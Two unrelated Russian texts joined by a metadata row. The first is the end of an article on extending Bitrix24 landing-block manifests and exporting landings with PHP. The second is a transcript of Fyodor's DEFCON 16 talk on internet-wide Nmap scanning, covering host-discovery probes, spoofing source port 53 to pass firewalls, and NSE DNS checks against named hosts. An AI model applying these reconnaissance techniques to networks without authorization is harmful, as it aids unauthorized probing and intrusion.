Эти общие вещи, конечно, можно прописывать для каждого нового блока, но так как блоков множество, поддержка обновлений такой общей части станет новой проблемой. К счастью, в итоге нашелся способ расширять файл манифеста для блоков с общей частью.
```
$snippets = \App\Helper\Landing24SnippetHelper::getDescription(['background', 'video']);
```
```
return array_merge_recursive($snippets, [
'block' => [
'name' => 'Блок с дисклеймером ',
'section' => ['iqos'],
'namespace' => 'bitrix'
],
'nodes' => [
'.main-block-tertiary__desc' => [
'name' => 'Текст блока',
'type' => 'text',
],
'.disclaimer' => [
'name' => 'Текст дисклеймера',
'type' => 'text',
],
```
Фрагмент файла манифеста, расширенного типовыми нодами
```
/**
* Class Landing24SnippetHelper
*
* Класс реализует сниппеты для хранения и быстрого получения части описания манифеста пользовательских
* блоков для конструктора лендингов.
*
* Предоставляет 2 статических метода для вызова в description.php и block.php блока.
*
*
```
* Landing24SnippetHelper::getDescription($type, $params) - для вызова в description.php
* Landing24SnippetHelper::getBlock($type, $params) - для вызова в block.php
*
```
*
* Настройка и реализация новых сниппетов производится через редактирования пресета сниппетов класса Landing24SnippetHelper::SNIPPETS
*
* Пример использования в description.php
*
*
```
* $snippets = \App\Helper\Landing24SnippetHelper::getDescription(['btns', 'background', 'foo' => []]); // list of the snippets
\* $snippets = \App\Helper\Landing24SnippetHelper::getDescription('btns'); // for a single snippet
\*
\* return array\_merge\_recursive($snippets, array(
\* 'block' => array(
\* 'name' => 'Новый или существующий блок',
\* 'section' => array('iqos'),
\* ),
\* ...
\* ));
\*
```
*
*
const SNIPPETS = [
'btns' => [
'component' => 'agima:landing24.btns.tpl',
'description' => 'btnsDescription',
'block' => self::FUNC_COMPONENT_INCLUDE_WARNING,
'props' => []
],
'background' => [
'component' => false,
'description' => 'backgroundDescription',
'block' => false,
'props' => []
],
...
/**
* Инициализирует описание одного сниппета
*
* @param $type
*
* @param array $params
*/
protected function __construct($type, $params = [])
{
$manifestSettings = self::SNIPPETS[$type];
$this->typeExists = isset($manifestSettings);
$this->type = $type;
$this->params = $params;
$this->componentName = $manifestSettings['component'];
$this->descFuncName = $manifestSettings['description'];
$this->blockFuncName = $manifestSettings['block'];
$this->props = $manifestSettings['props'];
}
```
Фрагмент класса-хэлпера с описанием сниппетов
```
/**
* Описание манифеста для редактирования бэкграунда блока.
* [background] сниппет.
*
* @return array
*/
protected function backgroundDescription()
{
return [
'style' => array(
'block' => array(
'type' => array(['background-color']),
),
),
'attrs' => [
'.js-landing24-bg' => [
'name' => 'Управление бэкграундом',
'attrs' => [
[
"type" => "text",
"name" => "Цвет фона в формате hex",
"placeholder" => "#XXXXXX",
"value" => "",
"attribute" => "data-background-color",
"textOnly" => true
]
]
]
],
'assets' => [
'js' => [
'/local/templates/.default/js/landing24/bg.js',
]
]
];
}
```
Метод описания изменений сниппета
Хелпер для расширения возможностей можно дополнять, включая в него компоненты системы с различными визуальными шаблонами. Гибко и просто.
* Интерфейсы редактирования
Интерфейсы в целом удобные, но не всё идеально.
*Проблема: Недостаток типовых блоков для адаптива.*
Тип нод image не дает возможности ввести комплект картинок для размеров различных устройств.
Тип нод picture не предусмотрен. Это было бы неплохо. Думаем доработать, но необходимость в этом не столь острая.
* Версионирование. Его нет в принципе, если не считать функционал отмены правок на шаг вперед/шаг назад в контексте редактирования. Тоже неплохо, но, как оказалось, недостаточно для нас.
Проблема: Конструктор Сайты 24 — простой инструмент для быстрого создания страниц из типовых блоков. В случае если таких блоков много, нужно потрудиться, чтобы внести настройки этих блоков для правильного наполнения отображения. Допустим, мы всё внесли на тестовой площадке, а что дальше? Как повторить это на production? Как зафиксировать и перенести наработки?
«А релизы, перенос лендингов между stages?» — еще один интересный вопрос. Всё — на собственное усмотрение.
Собирать лендинг недолго, но делать одну работу несколько раз очень напрягает. Что можно сделать?
Согласно документации есть возможность экспортировать сайт с лендингами целиком, что, конечно, крайне неудобно.
[dev.1c-bitrix.ru/api\_d7/bitrix/landing/site/methods/fullexport.php](https://dev.1c-bitrix.ru/api_d7/bitrix/landing/site/methods/fullexport.php)
Но из этого можно извлечь некоторую пользу: получить всю структуру по отдельному сайту с описанием всех реквизитов, включая настройки SEO и прочее.
На основе этого был построен метод экспорта избранных страниц (лендингов).
```
public static function getLandingsExportData($siteId, $landingsIdList = [], $blocksList = [])
{
if (empty($siteId)) {
return [];
}
$jsonFile = 'export.json';
$tmpDir = $_SERVER['DOCUMENT_ROOT'] . '/upload/landing_export/' . date('dmY_His');
$blocksDir = $tmpDir . '/blocks';
self::checkOrCreateDir($tmpDir);
self::checkOrCreateDir($blocksDir);
$export = \Bitrix\Landing\Site::fullExport(
$siteId,
['edit_mode' => 'N']
);
if (empty($export)) {
return [];
}
$export['description'] = 'Exported site';
$items = $export['items'];
if (!empty($landingsIdList)) {
foreach ($export['items'] as $landKey => $landData) {
if (in_array($landData['old_id'], $landingsIdList)) {
$landKeysList[] = $landKey;
}
}
//Пример $landKey = 'a88yd0mbjk/black_friday'
$export['items'] = self::array_slice_assoc($export['items'], $landKeysList);
}
$files = [];
foreach ($export['items'] as &$land) {
$blocks = self::getLandingBlocksList($land['old_id']);
$landFiles = File::getFilesFromLanding($land['old_id']);
$files = array_merge($files, $landFiles);
self::exportLandingFileLinks($land);
foreach ($land['items'] as $anchor => &$block) {
echo $block['code'] . "
";
echo $block['old_id'];
$blockFiles = File::getFilesFromBlock($block['old_id']);
$export['block_files'][$block['old_id']] = $blockFiles;
$files = array_merge($files, $blockFiles);
\Bitrix\Main\IO\File::putFileContents(
$blocksDir . '/' . $anchor . '.html',
self::exportBlockFileLinks(
$blocks[$land['old_id'] . '_' . $block['old_id']]['CONTENT'],
$blockFiles
)
);
}
}
if (!empty($files)) {
foreach ($files as $fid) {
$file = File::getFileArray($fid);
if (empty($file)) {
continue;
}
$arPackFiles[] = $file['SRC'];
self::checkOrCreateDir($tmpDir . "/upload/{$fid}");
IOFile::putFileContents(
$tmpDir . "/upload/{$fid}/{$file['FILE_NAME']}",
IOFile::getFileContents($_SERVER['DOCUMENT_ROOT'] . $file['SRC'])
);
$export['files'][$fid] = $file['FILE_NAME'];
}
}
\Bitrix\Main\IO\File::putFileContents(
$tmpDir . '/' . $jsonFile,
\CUtil::phpToJSObject($export)
);
return $items;
}
```
Фрагмент кода метода экспорта лендингов
Идея: сбор содержимого блоков в отдельные html файлы, а метаданных по всем импортируемым страницам — в общий файл сборки: export.json.
В такой реализации есть возможность встраивать файлы экспорта в релизные миграции и производить деплой лендингов в автоматическом режиме.
Структура файла экспорта
Таким образом, при смягчении основных сложностей полет нормальный.
Качество результата обеспечивается стремлением исключить человеческий фактор, а также тестированием и фиксацией результата для деплоя на всех стадиях.
Конструктор стал возможностью перенести часть задач по созданию лендингов в «на плечи» контент-менеджеров создание лендинга занимает несколько часов одного сотрудника, а не всей команды.
Созданы десятки лендингов вообще без привлечения команды разработки. Интересен опыт аудитории в подобных вопросах — поделитесь своей болью (а главное — своим выбором «обезболивающего»)!
**Материалы, источники информации**
Новый продукт «1С-Битрикс»
[www.youtube.com/watch?v=nhFYiW4PPLU&list=PLn4KNqjp\_7yBcp5qJyq8QPSIlezT1yE60](https://www.youtube.com/watch?v=nhFYiW4PPLU&list=PLn4KNqjp_7yBcp5qJyq8QPSIlezT1yE60)
Динамические блоки в Битрикс24.Сайтах. Антон Долганин
[www.youtube.com/watch?v=sG5DURiBJTc](https://www.youtube.com/watch?v=sG5DURiBJTc)
Презентация функционала Сайты24
[www.youtube.com/watch?v=rajdgxVfAMc](https://www.youtube.com/watch?v=rajdgxVfAMc)
Разработка шаблонов и блоков для «Битрикс24.Сайты» на REST
[www.youtube.com/watch?v=2ES4b8WMlAw&t=1158s](https://www.youtube.com/watch?v=2ES4b8WMlAw&t=1158s)
Битрикс24.Сайты — новые возможности и ближайшие планы. Антон Долганин
[www.youtube.com/watch?v=035qEh4EbG0](https://www.youtube.com/watch?v=035qEh4EbG0)
Конструктор сайтов внутри платформы «1С-Битрикс». Создай сам! — 14.02.2019
[www.youtube.com/watch?v=MI-8q5BkwUY&t=2213s](https://www.youtube.com/watch?v=MI-8q5BkwUY&t=2213s)
[www.youtube.com/watch?v=Hg6ClbvYOCM](https://www.youtube.com/watch?v=Hg6ClbvYOCM) | https://habr.com/ru/post/532180/ | null | ru | null |
# Конференция DEFCON 16. Фёдор, хакер InSecure.org. NMAP-cканирование Интернет
Добрый день, меня зовут Фёдор, я из **InSecure.org** и я являюсь автором проекта сканера безопасности **Nmap**, выпущенного в свет в 1997 году. Я хотел бы поблагодарить всех, кто сюда пришёл, и сам **Defcon** за то, что меня сюда пригласили. Я большой поклонник таких конференций, куда могут прийти люди, испытывающие настоящую страсть к любительским технологиям, но не имеющие компаний, которые готовы заплатить тысячи долларов за билет.
Хочу предупредить вас, что это разговор не о том, как проводить кросс-сайтовые скриптовые атаки на социальные сети или как взламывать каналы **Twitter**. Речь пойдёт о сканировании портов и о чём-то большем, чем сканирование портов, и если вам не нравится сканирование портов, то следующие 50 минут станут для вас худшим из кошмаров.
Потому что для меня говорить о чём-то другом будет так же непривычно, как услышать Дэна Камински, который не рассказывает о **DNS**. Я имею в виду, что я могу ринуться в обнаружение некоторых ОС или действие обработчика скриптов **Nmap** так же, как Дэн может взять свой **DNS** и использовать его для туннелирования **YouTube**, чтобы обдурить какого-нибудь болвана, но в обоих случаях мы просто расширяем свою ключевую тему.
Моя тема, как видно из первого слайда, посвящена сканированию интернета. Я потратил много времени этим летом, сканируя десятков миллионов хостов в интернете и собирая необходимые данные.
И когда я рассказываю об этом людям, они часто спрашивают: «Зачем»? Для меня сканирование является ценным само по себе, но если вам нужна какая-то причина, то в данном случае в этом случае у меня были некоторые конкретные цели проекта. Первая – это собрать эмпирические данные и использовать их для расширения и улучшения функциональности **Nmap**, мы поговорим об этом чуть позже.
Вторая цель — использовать данные для того, чтобы помочь знающим людям выполнять сканирование более эффективно. Есть множество людей, собирающих информацию о структурировании и населённости сетей, чтобы узнать, какие методы сканирования подходят лучше всего. Но обычно они задаются вопросом, как настроить существующие инструменты сканирования, не находя ничего подходящего. Так что вы сможете использовать мои эмпирические данные для своих собственных нужд, они помогут узнать, как проводить сканирование и собирать результаты.
Третья цель состоит в том, чтобы обнаружить и устранить ошибки **Nmap** и повысить производительность для широкомасштабного сканирования. Потому что сканирование миллионов хостов выполняется в самых разных ситуациях, и при этом можно отследить, как **Nmap** на это реагирует. Мне удалось исправить ошибки, вызывающие сбой или «зависание» системы, ускорить процесс, выяснив, что именно вызывает замедление сканирования.
Четвёртая цель состоит в том, чтобы продемонстрировать технологии, которые можно использовать как для привычного сканирования, так и для широкомасштабного сканирования Интернета.
Идея состоит в том, что если это сканирование работает для 25 миллионов хостов, то оно наверняка справится со сканированием 25 тысяч хостов или сколько вам нужно просканировать.
Давайте рассмотрим проблемы, с которыми мне пришлось столкнуться при сканировании. В первую очередь я хочу сказать, что лучше проводить десятки больших, но целевых сканирований вместо одного огромного сканирования. Каждая из таких целей позволяет собрать полезные данные определённого рода, но проблемой является определение конкретных IP-адресов, которые нужно просканировать.
Для этого существует много возможностей: таблицы маршрутизации **BGP**, которые позволяют узнать, какие сети маршрутизированы, файлы DNS-зон, таблицы распределения регистров и т.д.
Я решил использовать собственный скриптовый генератор IP-адресов **Nmap**, позволяющий создать 25 000 000 IP-адресов, и ещё дополнительные 200 тысяч я сделал из-за возможных дубликатов. При этом фактически сканируются не компьютеры, а их список, потому что сами машины я сканирую позже. В результате я получил список из 25 миллионов IP-адресов, который я использовал для сканирования. Это был способ генерации случайных номеров, но как только у вас появляются конкретные цели, которые нужно просканировать, возникает следующий вопрос: какой источник вы собираетесь использовать.
Здесь у меня было много идей, одна безумнее другой, например, P2P-сканирование. Я собирался распространять клиент под названием **Nmapster**, который люди могли бы скачать. Он просканировал бы их компьютеры и сообщил, что мы собираем данные для обобщения. Но я решил, что ключевая цель – это сделать **Nmap** быстрее и эффективнее для повседневного сканирования и что лучше сосредоточиться на использовании самого **Nmap**, вместо того, чтобы создавать для него пользовательские программы.
Вторым большим препятствием была незаконность подобных действий. Когда вы сканируете много хостов, люди могут возмутиться, а я не хочу, чтобы мой интернет-провайдер снова отказал мне в предоставлении услуг, но возможность быть арестованным выглядит ещё хуже. Поэтому решил выходить в сеть через бесплатную беспроводную точку доступа моей соседки (аплодисменты и смех в зале).
Да нет, я просто шучу, к тому же у интернет-канала моей соседки не хватило бы пропускной способности для обработки такого количества трафика, который мне был нужен.
Поэтому я решил воспользоваться ISP, которого я использую для колокации, и выполнять сканирование оттуда, то есть через оборудование, расположенное на его территории. Через 15 минут после начала сканирования эти парни связались со мной, лихорадочно спрашивая, что, чёрт возьми, происходит, может, мой компьютер заражен самым страшным червем в интернете, потому что он сходит с ума и зондирует тысячи машин в секунду по всему интернету! Они предложили отключить меня, но я объяснил, чтобы они не волновались, я не пострадал, я делаю это для определённой цели. Тогда они подумали, что я какой-то спамер или даже хуже, если такое возможно, и меня вообще нужно арестовать. Тут я испугался и подумал, что мне конец, мне придётся бросить мой проект и начать заниматься исследованием кросс-сайтовой уязвимости. К счастью, оказалось, что они были пользователями **Nmap** и мне удалось объяснить, что это сканирование нужно для того, чтобы сделать мою программу более эффективной и производительной. На что они сказали: «ну что же, тогда можете продолжать»!
Я немного уменьшил скорость сканирования, потому что не хотел, чтобы у них перегорели предохранители, и продолжил это великое дело. К несчастью, Министерство обороны США было не так любезно, им совсем не понравилось моё сканирование, и они заявили, чтобы я прекратил сканировать важные военные объекты. Я подумал, что тут мне пригодится возможность **Nmap** пропускать сканирование определённых сетей, но они даже не дали бы мне определить эти сети, потому что они тоже являлись военными объектами. Так что с тех пор я немного нервничаю, если над моей головой пролетают военные самолёты.
Следующим препятствием для сканирования стали брандмауэры. Для некоторых случаев мне достаточно было получить результаты из незащищённого сегмента интернета, но для других было бы неплохо изучить, как это выглядит за файрволами компаний. Вы знаете, что они часто контролируют разные порты, поэтому изнутри открытая сеть выглядит совсем по-другому. С удовольствием скажу, что я смог пробиться через ряд файрволов не с помощью чего-то вроде продвинутой атаки фрагментации, а с помощью технологий, которые просто «просили» их предоставить нужные данные.
Существует множество крупных компаний, которые ежедневно сканируют свои сети с помощью **Nmap**, и они были счастливы внести свой вклад в виде данных, которые помогут его улучшить.
Следующими проблемами стали производительность и точность. Сканирование интернета это долгая и тяжелая работа. Ключевой целью стало улучшение производительность Nmap, потому что статистика его использования была неутешительной:
* прошло времени с начала сканирования 93 ч 57 мин. 40 с (более 4-х дней);
* всего за это время из 254868 запланированных хостов проведено UDP сканирование 65000 портов, находящихся на 2048 хостах;
* за это время выполнено UDP сканирование около 11.34% запланированного количества, время на сканирование остальных хостов составит 688 ч 41 мин 48 с.
Когда ваша оценка оставшегося времени приводит к «переполнению целых чисел» и приносит один негатив, это не слишком обнадеживающий признак. Это конкретное сканирование все еще выполняется, и возможно, на конференции DEFCON в следующем году я расскажу, что из этого получилось. К счастью, некоторые из других наших сканирований закончились намного раньше, так что это своего рода введение в то, какие виды сканирования мы выполняли и почему.
Теперь давайте перейдем к более практичным советам, которые могут служить полезными деталями и дадут вам знать, как можно использовать это в качестве помощи для своего собственного сканирования. Хорошим началом является обнаружение хостов, потому что первое, что вы хотите сделать при разведке сети – это обнаружить месторасположение хоста и выяснить, какие сети доступны для сканирования. Поэтому вы не должны тратить время на сканирование IP-адресов, которые не прослушиваются хостами, и принять решение, какими методами выполнять сканирование.
Было время, когда большинство хостов отвечали на **ICMP** эхо-запросы или пинговали пакеты, которые **Nmap** по умолчанию направлял 80-му порту, но к сожалению, это время закончилось 10 лет назад.
Сейчас большинство компаний блокируют пакеты пингов и мне пришлось использовать более эффективные методы.
Первым был **TCP**-метод обнаружения хостов с использованием синтетических пакетов **SYN (-PS)**, лучше всего действующих против файрволов со статической фильтрацией, которые используют постоянный список исключений, и с применением пакетов **ACK (-PA)**, эффективных против файрволов с динамической фильтрацией.
Те брандмауэры, которые пропускают синтетические пакеты, обычно блокируют пакеты **ACK**, и наоборот.
Я покажу быстрый пример использования **Nmap** с синтетическим пакетом для порта 80 сайта **sun.com**. Как видите, ответ пришёл очень быстро и он показывает, что хост доступен.
Затем мы используем для этого же хоста пакеты **ACK**, вы видите, что сканирование заняло больше времени, и хост нам не ответил, потому что заблокировал зондирование пингами.
Таким образом, можно понять, какой файрвол установлен на этом хосте – со статической или с динамической фильтрацией. В данном случае у нас имеется статический файрвол, который пропустил пакеты **SYN** и заблокировал пакеты **ACK**.
Может возникнуть вопрос, какое же зондирование портов лучше использовать. Я отвечу – нужно посылать оба вида пакетов, пока хост не пропустит один из них.
Следующим вопрос состоит в том, какой порт нужно использовать. У вас имеется 65 тысяч портов, и часто невозможно выбрать те, которые работают лучше всего. Поэтому я сделал выборку портов на основе эмпирических данных, которая показана на следующем слайде. Это лучшая 10-ка портов для обнаружения хостов определённых типов.
Некоторые люди могут посмотреть на этот список и спросить, а где же самые распространённые **Windows** порты 135 или 139?
Однако помните, что я создавал свою базу данных на основе хорошо защищённых хостов, поэтому если вы испытываете проблемы с установкой брандмауэра, вам лучше блокировать эти порты **Windows**. Часть этих портов я бы рекомендовал «прощупывать» **SYN-пакетами**, другую часть – пакетами **ACK**.
Далее у нас имеется обнаружение хостов **UDP**. В этом случае закрытые **UDP**-порты лучше открытых, потому что они более склонны к ответу. Открытые порты, получая чистый пакет, не знают, что с ним делать и просто игнорируют его. Закрытые же порты обычно отвечают такому пакету запретом, и это означает, что здесь находится хост. Порт 53 часто попадает в исключения файервола, потому что предназначен для **DNS**.
Я также использовал **ICMP**-метод обнаружения хоста **(PE, PM, PP)**. Некоторые системы охотно принимают эхо-запросы, зато блокируют остальные. Например, администраторы **Google.com** не видят угрозы в приёме пакетов пинга, но блокируют запросы маски сети и метки времени, потому что считают, что их используют хакеры.
Другие администраторы явно блокируют эхо-запросы как хакерские, но забывают про блокировку запросов маски сети и штампа времени **netmask/timestamp**. Поэтому советую использовать оба вида запросов – эхо-запрос и один из запросов второго вида.
У нас имеется также новая возможность, которая называется **Protocol Ping (PO)**. По умолчанию этот протокол использует 3 вида IP-пакетов: 1 (**ICMP**), 2 (**IGMP**) и 4 (**IPinIP**) с целью получения доступного ответа, если хост «жив». Я не проводил тестирование, чтобы выяснить, какие протоколы наиболее полезны, поэтому по умолчанию используются все 3.
Сейчас я хочу рассказать о различных технологиях обнаружения хостов, которые использовал, и вы можете спросить, какие из этой кучи наиболее ценны и какая между ними разница. На слайде приведён пример, когда я сгенерировал 50 тысяч IP-адресов и использовал сканирование пинга по умолчанию, в результате чего было найдено 3348 хостов за 1600 с, или 27 минут.
Это достаточно много компьютеров, и данное сканирование выглядит довольно успешным. Но затем я решил использовать «продвинутое» сканирование, взял практически такой же список из 50 тысяч хостов и добавил несколько разных техник обнаружения, таких как эхо-ответ, метки времени, **SYN**-зондирование кучи портов и установил исходный порт 53 для того, чтобы замаскироваться под **DNS**. Это позволило обнаружить 4473 «живых» хоста, но зато заняло немного больше времени – 4259 с.
Сравнение этих двух способов сканирования — с параметрами по умолчанию и «продвинутого» — показало, что второй занял на 167% больше времени (41 минута против 27) и обнаружил на 34% больше хостов.
Сейчас я хочу рассказать об апгрейдах **Nmap**, которые были проведёны на основе этих исследований.
На сайте <http://nmap.org/changelog.html> приведена последняя версия **Nmap 4.68**, в которой были устранены ошибки и улучшена производительность. Имеется также новейший **SVN**-релиз, с которым можно ознакомиться по ссылке <http://nmap.org/book/install.html#instsvn>.
Я устал от сообщений об ошибках, где говорится, что «да, мы исправили это в 2003 году», потому что существует много людей, которые не хотят выполнять частые обновления. Потом они жалуются на то, что программа **Nmap** давно устарела, потому что она говорит вам, какие номера портов открыты, но не сообщает, какие службы находятся за ними. В последнее время я добавил в программу ряд усовершенствований, и если вам нужна самая продвинутая версия программы – релиз **BHD CO 8 Black Hat DefCon**, его можно найти по специальной ссылке [svn://svn.insecure.org/nmapexp/bhdc08](http://svn://svn.insecure.org/nmapexp/bhdc08) с использованием гостевого логина и пароля. Эта новейшая версия содержит функцию сканирования **Top Ports** и некоторые другие особенности, о которых я расскажу позже.
Итак, проект **Top Ports** представляет собой ещё одно большое сканирование миллионов IP-адресов для обнаружения открытых **TCP** и **UDP** портов с помощью выборки популярных портов. Некоторые крупные организации также предоставили возможность сканировать данные внутренних сетей, расположенные за файрволами. При этом служебные файлы **Nmap** были дополнены данными частот каждого порта.
Рассмотрим порты, которые сканировались по умолчанию. **Nmap 4.68** просканировал 1715 портов **TCP** и 1488 портов **UDP**, сканировались порты от 1 до 1024 и все именные высшие порты. Отмечу, что множество портов были придуманы много лет назад и уже давно не используются. В то же время имеется множество открытых безымянных портов.
Конечная версия **Nmap** использовала частотные данные Top 1000 портов для каждого протокола, поэтому во многих случаях я получил лучшие результаты. Это позволило не тратить время на сканирование старых неиспользуемых портов, таким образом, сканирование протекает быстрее, потому что фактически сканируется чуть больше половины всех существующих портов.
Быстрое сканирование сильно отличается от сканирования по умолчанию. В **Nmap** оно обозначается литерой (**-F**). На этот раз **Nmap 4.68** просканировал 1276 портов **TCP** и 1017 портов **UDP** по всему диапазону номеров. Вы можете спросить, почему сканирование по умолчанию обработало больше портов, но тут нет ничего драматического – быстрое сканирование просто заняло меньше времени. Однако в данном случае сканер не проверял все существующие порты, а работал только с теми, чьи имена были в новом служебном файле **Nmap**. В результате сканирование производилось для TOP 100 портов для каждого протокола, и я получил выигрыш в скорости на порядок больше, чем при сканировании по умолчанию. Это намного полезнее для протокола **TCP** и ещё более полезно для **UDP**, потому что я знаю, что многие люди никогда не выполняют **UDP**-сканирование, считая его очень трудоёмким и сложным в отношении фильтрации открытых портов. Поэтому они притворяются, что **UDP** просто не существует. Однако хакеры не притворяются, поэтому нам очень важно понять, что происходит с этим протоколом.
На следующем слайде показаны примеры быстрого сканирования с использованием разных версий **Nmap**. Буква **U** в обозначении режима сканирования **Nmap — sUV – F-T4** указывает на **UDP**-порт, **F** – быстрое сканирование. В этой открытой версии присутствует проблема фильтрации, так как **Nmap** не получает ответа и не может определить, отфильтрован ли порт или открыт. Такое происходит, если вы используете версию с сайта **scanme.nmap.org**. Поэтому здорово, что мне удалось получить отчёт с данными, которые показывали все открытые и отфильтрованные порты.
Таким образом, сканирование с помощью **Nmap 4.68** заняло час, сканирование с релизной версией **Blackhat DefCon 08** продолжалось 6 с половиной минут, сканирование с «продвинутой» версией **Blackhat DefCon 08** составило всего 13 с. Все 3 версии нашли один и тот же открытый порт 53.
В новых версиях использовались новые функции сканирования: **```
- top-ports
```**
Она сканировала наиболее популярные открытые порты каждым требуемым протоколом, а функция:
**```
–port-ratio
```**
где **n** выбиралось между 0 и 1, сканировало все порты с частотой, установленной на данном уровне.
Последняя версия работала с флагом “**—version—intensity 0**”. Это означало, что **UDP**-запросы отправлялись на определённые порты по определённым протоколам, то есть для 53 пробовался только **DNS**, для 161 порта только **SNMP** и т.д. Это позволило сократить время сканирования до 13 секунд.
Мораль этой истории заключается в том, что если вы знаете, какие данные вам действительно нужны, можно немного оптимизировать сканирование и сделать его намного быстрее. В этом случае мы получили те же данные, но вместо часового ожидания ждали всего 13 секунд. Так что настройка функций очень помогает, особенно функция топ-портов. Нужно просто выбрать между дефолтным сканированием 1000 портов и быстрым сканированием 100 портов и указать произвольно, сколько портов вы хотите сканировать.
Здесь возникает вопрос, какая функция Top Ports работает лучше. Далее на слайде показан Top-10 портов **TCP** и выборка эффективности «топов», которую я сделал на основе эмпирических данных. Эта выборка показывает, сколько открытых портов я нашёл, используя тот или иной «топ».
Если использовать самое быстрое сканирование «десятки» портов, можно обнаружить чуть больше половины открытых TCP-портов. Используя «Топ-100» портов, можно обнаружить 73% открытых портов, использование по умолчанию «Топ-1000» обнаруживает 93%, но при этом вы сканируете всего лишь 2% от 65 тысячного пространства портов.
Далее я приведу статистику нахождения открытых **UDP**-портов. Здесь доминируют типичные порты **Microsoft**, хотя имеются и **SNMP** и **NTP**.
Эффективность **UDP** отличается от эффективности **TCP**, здесь больший процент открытых портов определяется при меньших значениях «топа». Так, «Топ-100» **UDP** даёт обнаружить 90% портов против 73% для **TCP**.
Я использовал ещё одну функцию, которую разработал недавно, это контроль скорости пакетов **Packet Rate Control**.
В её отношении я испытываю смешанные чувства. Я горжусь контролем загрузки **Nmap** и другими технологиями, позволяющими выяснить, какая скорость сканирования будет работать лучше. Но есть много людей, которые говорят, что хотели бы просто сканировать порты с определённой частотой и не беспокоиться, если какие-то пакеты потеряются. Это одна из причин, по которой они используют сканеры типа **RAND** или **Unicorn**. Для таких случаев я решил добавить функцию, которая устанавливает максимальную и минимальную частоту отправки пакетов в секунду.
Она оказалась очень полезной, когда я чуть не «расплавил предохранители» моего интернет-хостинга, потому что я смог задать параметр сканирования для **Nmap** с частотой 300 пакетов/с и сделать этих ребят из **ISP** немного счастливее.
На следующем слайде показан пример, как разместить вместе все полезные функции **Nmap**.
Здесь вводится исходный IP-адрес, который я хотел использовать для этого конкретного сканирования и указывается режим отладки. Эту функцию я часто использовал для взаимодействия с программой во время выполнения сканирования, потому что люди не знают, что можно нажать клавишу **D** и открыть режим отладки, а если нажать на неё несколько раз, то можно будет прокрутить экран и увидеть, что **Nmap** делает в данный момент.
Здесь я использовал низкую задержку, так как не хотел долго ждать хостов, для которых была ограничена частота пакетов. Я применил функцию создания файла журнала с использованием функции значений времени **STRF**, которая автоматически проставляет дату и время.
Далее я ввёл имя файла, который хочу в итоге получить и отметил, что не хочу делать более чем 1 повторную попытку сканирования, потому что собираюсь выполнить большой объём сканирования как можно быстрее.
Далее здесь отмечена рандомизация хостов, перечислены номера сканируемых портов, указана большая группа МАС-адресов хостов, минимальная частота сканирования 175 пакетов в секунду и максимальная 300 пакетов в секунду.
Это пример того, как я всё время изменял и улучшал алгоритм работы **Nmap**, пока не находил вариант, который работал лучше других.
А теперь я хочу использовать оставшееся время, чтобы рассказать вам последние новости **Nmap**. Некоторые из них — это новые и интересные функции, например, скриптовый движок **NSE**. Это модульный механизм, который опрашивает порты определённым образом. В этом случае мы делаем **HTML**-заголовки для веб-сайтов, которые он находит.
Сейчас существует более 50 скриптов, поддерживаемых **Nmap**, совместимых с данными **Whois**, паролями **brute-forcing pop3** и прочими сумасшедшими вещами, которые вы хотите использовать.
Сейчас я вам быстро продемонстрирую, как работает **Nmap Scripting Engine**.
Это длинная команда, поэтому я скопирую её из другого места. Она оговаривает подробный режим **Nmap** – не пинговать, выполнить **UDP** зондирование для порта 53, использовать агрессивный тайминг и применить здесь 3 скрипта, что поможет избежать ошибки **DNS**, о которой Дэн рассказывал в прошлое воскресенье. Один скрипт просто проверяет, разрешает ли DNS-сервер рекурсию, второй проверяет, рандомизирует ли он исходные номера портов, а третий проверяет, есть ли у него идентификатор рандомизированной транзакции. Это те ошибки, которые люди хотят исправить для уменьшения проблемы «отравления» кеша.
В нашем случае я хочу продемонстрировать работу **NSE** во время сканирования портов одного из серверов **BlackHat** и одного из серверов **Shmoo.com**. Это занимает немного времени, а затем прямо рядом с номером порта выводится результат.
Вы видите, что для **blackhat.com** с IP-адресом 216.231.64.55 при **UDP** сканировании порта 53 в обоих случаях был получен отказ рекурсии сервера, поэтому его не удалось «допросить» дальше. Для сервера **archimedes.shmoo.com** с IP-адресом 12.21.210.234 рекурсия состоялась. Но я рад сообщить, что это было здорово с точки зрения рандомизации портов.
Я хотел показать один из немногих примеров, когда моя затея с треском провалилась, так что здесь можно было бы сыграть в игру «кто первым сможет отравить кеш», но решил, что это не самая хорошая идея для нашей презентации. Кроме того, у меня есть более интересный материал на волнующую меня тему – это новый графический интерфейс **Zenmap GUI**.
Многие люди говорят, что им не нужен графический интерфейс, потому что они работают с **Nmap** уже 10 лет и знают все его 130 опций до мозга костей. Однако этот интерфейс является мощным инструментом для работы со сканером, что я сейчас быстро продемонстрирую.
Здесь показывается окно с выходными данными, каждый открытый хост, можно задать фильтрацию отображения **HTTP** или **SSH** и так далее. Кроме того, в новейшую версию сканера мы добавили интересную возможность. Для тех людей, которые говорят: «раз вы назвали этот инструмент **Н-картой**, так дайте мне, чёрт возьми, эту самую карту!», мы добавили графическую схему топологии сканируемой сети.
Это достаточно точная вещь, которая рисует результат сканирования сети и помещает его в центр исходного узла, а в концентрических кругах вокруг этого центра показан каждый прыжок в сеть и компьютеры, которые вы сканировали. Вы можете взять такой узел и сказать: «Эй, а ну-ка покажите мне, какие еще имеются данные по этому конкретному сканированию, покажите мне открытые порты и т.д.», то есть при наведении на жёлтый кружок открывается окно со всеми деталями проведённого сканирования. Вы можете выполнить сканирование новых машин и они тоже будут добавлены на схему. Можно также отцентрировать схему относительно другого хоста — просто нажмите на узел и перетащите его в нужном направлении.
Ещё один большой плюс графического интерфейса – это то, что теперь с **Nmap** смогут работать пользователи **Windows**, которые понятия не имеют, как можно управлять программой с помощью командной строки. Я уже получал от них письма, в которых было написано: «я дважды щелкнул по иконке **nmap.exe** на рабочем столе, после чего на секунду выскочил какой-то чёрный ящик, а потом всё исчезло. Очевидно, ваша программа совершенно не работоспособна». Так что я надеюсь, что **Zenmap GU**I им поможет. Хотя, с другой стороны, может таким людям вообще не стоит пользоваться **Nmap**.
У нас также имеется система обнаружения ОС второго поколения.
Она воплотила в себе всё, что я изучил относительно обнаружения OS за предыдущее 7 лет, и содержит в себе 1500 подписей новых операционных систем. Так что пользователи Nmap смогут найти на нашем сайте **nmap.org** любой инструмент, какой только можно вообразить, и скачать версию программы для **Windows** или **Linux**. У нас есть также инструмент для обнаружения версий ПО.
Есть ещё функция, которая называется **Reason** (Причина). Это своеобразный фильтр, который показывает, по какой причине произошло открытие того или иного порта – из-за использования синтетических или **ACK**-пакетов, или по какой причине произошло закрытие порта, например, из-за перезагрузки.
